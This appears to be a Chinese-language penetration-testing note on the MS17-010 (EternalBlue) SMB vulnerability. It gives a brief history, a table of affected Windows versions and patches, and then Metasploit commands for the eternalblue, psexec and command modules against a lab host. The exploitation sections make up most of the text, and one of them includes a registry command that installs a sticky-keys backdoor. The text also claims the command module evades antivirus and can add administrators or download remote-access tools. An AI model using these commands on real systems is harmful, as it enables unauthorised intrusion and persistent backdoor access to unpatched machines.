MS17010
0x00:简介
2017年5月12日起,全球范围内爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,这是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。五个小时内,包括英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件,对重要数据造成严重损失。
0x01:影响范围/对应补丁
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
Windows Vista | KB4012598 |
Windows Xp | KB4012598 |
Windows Server 2008 | KB4012598 |
Windows 7 | KB4012212、KB4012215 |
Windows Server 2008 R2 | KB4012212、KB4012215 |
Windows 8.1 | KB4012213、KB4012216 |
Windows Server 2012 、 Windows Server 2012 R2 | KB4012213、KB4012214、KB4012216、KB4012217 |
Windows RT 8.1 | KB4012216 |
Windows 10 | KB4012216、KB4013198 |
Windows Server 2016 | KB4013198 |
0x02:ms17_010_eternalblue
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞。
需要目标机器开放445端口。
这里使用windows server 2008 r2作为靶机
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.2
exploit
成功即可收到session
0x03:ms17_010_psexec
此payload攻击存在17010的主机成功率百分之一百,因为需要提供命名管道。
什么是命名管道,人话说就是两台主机通信需要建立一个用于通信的连接管道,那么这个管道具象化是什么呢,就是一个账号密码。。。
也不能说完全没用,毕竟低权限账号可以通过17010获得system权限。
没有命名管道会怎样呢,连接无法建立,自然会失败,
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.1.2
exploit
此时会提示找不到命名管道
输入一个当前主机的低权限账号密码(非域账号)
set SMBUSER test
set SMBPASS admin@123
exploit
0x04:ms17_010_command
此payload建议在打windows 2003的时候使用,可以直接添加管理员账号密码。
该模块是所有利用方法中最为稳定的,并且不会被杀软拦截等。可以直接通过命令添加用户、开启3389、下载Rat等操作。例如直接添加shift后门:
set command REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /t REG_SZ /v Debugger /d \"C:\\windows\\system32\\cmd.exe\" /f
目前只在windows 2003成功过 。。。